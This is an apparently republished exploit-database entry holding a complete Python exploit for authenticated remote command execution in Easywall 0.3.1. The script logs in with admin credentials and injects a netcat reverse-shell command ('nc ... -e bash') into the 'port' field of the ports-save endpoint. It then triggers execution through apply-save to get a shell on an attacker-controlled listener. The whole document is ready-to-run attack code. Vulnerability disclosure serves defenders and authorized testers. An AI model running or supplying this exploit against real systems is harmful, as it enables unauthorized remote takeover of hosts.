Easywall 0.3.1 Authenticated Remote Command Execution
2024-3-4 06:11:35 Author: cxsecurity.com(查看原文) 阅读量:24 收藏

Easywall 0.3.1 Authenticated Remote Command Execution

# Exploit Title: Easywall 0.3.1 - Authenticated Remote Command Execution # Date: 30-11-2023 # Exploit Author: Melvin Mejia # Vendor Homepage: https://jpylypiw.github.io/easywall/ # Software Link: https://github.com/jpylypiw/easywall # Version: 0.3.1 # Tested on: Ubuntu 22.04 import requests, json, urllib3 urllib3.disable_warnings() def exploit(): # Replace values needed here target_host = "192.168.1.25" target_port= "12227" lhost = "192.168.1.10" lport = "9001" user = "admin" password = "admin" target = f"https://{target_host}:{target_port}" # Authenticate to the app print("[+] Attempting login with the provided credentials...") login_data = {"username":user, "password":password} session = requests.session() try: login = session.post(f'{target}/login',data=login_data,verify=False) except Exception as ex: print("[!] There was a problem connecting to the app, error:", ex) exit(1) if login.status_code != 200: print("[!] Login failed.") exit(1) else: print("[+] Login successfull.") # Send the payload, the port parameter suffers from a command injection vulnerability print("[+] Attempting to send payload.") rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #' data = {"port":f"123;{rev_shell}", "description":"","tcpudp":"tcp"} send_payload = session.post(f"{target}/ports-save",data=data,verify=False) if send_payload.status_code != 200: print("[!] Failed to send payload.") exit(1) else: print("[+] Payload sent.") # Trigger the execution of the payload print("[+] Attempting execution.") data = {"step_1":"", "step_2":""} execute = session.post(f"{target}/apply-save",data=data, verify=False) if execute.status_code != 200: print("[!] Attempt to execute failed.") exit(1) else: print(f"[+] Execution succeded, you should have gotten a shell at {lhost}:{lport}.") exploit()



 

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